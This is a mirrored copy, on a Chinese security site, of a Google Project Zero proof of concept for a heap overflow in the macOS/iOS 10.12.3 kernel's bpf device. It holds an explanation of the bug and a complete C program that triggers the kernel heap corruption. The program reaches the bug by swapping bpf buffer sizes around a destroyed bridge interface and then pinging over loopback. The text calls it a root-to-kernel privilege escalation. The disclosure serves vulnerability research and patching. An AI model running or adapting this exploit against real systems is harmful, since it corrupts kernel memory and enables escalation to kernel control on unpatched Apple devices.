首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
macOS/iOS Kernel 10.12.3 (16D32) - 'bpf' Heap Overflow
来源:Google Security Research 作者:Google 发布时间:2017-04-05  
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1125
 
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
 
  case BIOCSBLEN:     /* u_int */
    if (d->bd_bif != 0)
      error = EINVAL;
    else {
      u_int size;
 
      bcopy(addr, &size, sizeof (size));
 
      if (size > bpf_maxbufsize)
        size = bpf_maxbufsize;
      else if (size < BPF_MINBUFSIZE)
        size = BPF_MINBUFSIZE;
      bcopy(&size, addr, sizeof (size));
      d->bd_bufsize = size;
    }
    break;
 
 
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
 
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
 
If we then attach to an interface again we hit this code in bpf_setif:
 
    if (d->bd_sbuf == 0) {
      error = bpf_allocbufs(d);
      if (error != 0)
        return (error);
 
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
 
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
 
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
 
This bug is a root -> kernel priv esc
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
*/
 
//ianbeer
#if 0
MacOS/iOS kernel heap overflow in bpf
 
The bpf ioctl BIOCSBLEN allows userspace to set the bpf buffer length:
 
    case BIOCSBLEN:         /* u_int */
        if (d->bd_bif != 0)
            error = EINVAL;
        else {
            u_int size;
 
            bcopy(addr, &size, sizeof (size));
 
            if (size > bpf_maxbufsize)
                size = bpf_maxbufsize;
            else if (size < BPF_MINBUFSIZE)
                size = BPF_MINBUFSIZE;
            bcopy(&size, addr, sizeof (size));
            d->bd_bufsize = size;
        }
        break;
 
 
d->bd_bif is set to the currently attached interface, so we can't change the length if we're already
attached to an interface.
 
There's no ioctl command to detach us from an interface, but we can just destroy the interface
(by for example attaching to a bridge interface.) We can then call BIOCSBLEN again with a larger
length which will set d->bd_bufsize to a new, larger value.
 
If we then attach to an interface again we hit this code in bpf_setif:
 
        if (d->bd_sbuf == 0) {
            error = bpf_allocbufs(d);
            if (error != 0)
                return (error);
 
This means that the buffers actually won't be reallocated since d->bd_sbuf will still point to the
old buffer. This means that d->bd_bufsize is out of sync with the actual allocated buffer size
leading to heap corruption when packets are receive on the target interface.
 
This PoC sets a small buffer length then creates and attaches to a bridge interface. It then destroys
the bridge interface (which causes bpfdetach to be called on that interface, clearing d->bd_bif for our
bpf device.)
 
We then set a large buffer size and attach to the loopback interface and sent some large ping packets.
 
This bug is a root -> kernel priv esc
 
tested on MacOS 10.12.3 (16D32) on MacbookAir5,2
#endif
 
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
 
int main(int argc, char** argv) {
  int fd = open("/dev/bpf3", O_RDWR);
  if (fd == -1) {
    perror("failed to open bpf device\n");
    exit(EXIT_FAILURE);
  }
 
  // first set a small length:
  int len = 64;
  int err = ioctl(fd, BIOCSBLEN, &len);
  if (err == -1) {
    perror("setting small buffer length");
    exit(EXIT_FAILURE);
  }
 
  // create an interface which we can destroy later:
  system("ifconfig bridge7 create");
 
  // connect the bpf device to that interface, allocating the buffer
  struct ifreq ifr;
  strcpy(ifr.ifr_name, "bridge7");
  err = ioctl(fd, BIOCSETIF, &ifr);
  if (err == -1) {
    perror("attaching to interface");
    exit(EXIT_FAILURE);
  }
 
  // remove that interface, detaching us:
  system("ifconfig bridge7 destroy");
 
  // set a large buffer size:
  len = 4096;
  err = ioctl(fd, BIOCSBLEN, &len);
  if (err == -1) {
    perror("setting large buffer length");
    exit(EXIT_FAILURE);
  }
 
  // connect to a legit interface with traffic:
  strcpy(ifr.ifr_name, "lo0");
  err = ioctl(fd, BIOCSETIF, &ifr);
  if (err == -1) {
    perror("attaching to interface");
    exit(EXIT_FAILURE);
  }
 
  // wait for a packet...
  system("ping localhost -s 1400");
  
  return 0;
}
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·macOS/iOS Kernel 10.12.3 (16D3
·macOS Kernel 10.12.3 (16D32) -
·macOS/iOS Kernel 10.12.3 (16D3
·macOS Kernel 10.12.2 (16C67) -
·macOS/iOS Kernel 10.12.3 (16D3
·macOS/iOS Kernel 10.12.3 (16D3
·macOS Kernel 10.12.3 (16D32) -
·Apple WebKit 10.0.2(12602.3.12
·macOS Kernel 10.12.2 (16C67) -
·Apple Webkit - 'JSCallbackData
·SolarWinds LEM 6.3.1 - Remote
·Apple Webkit - Universal Cross
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved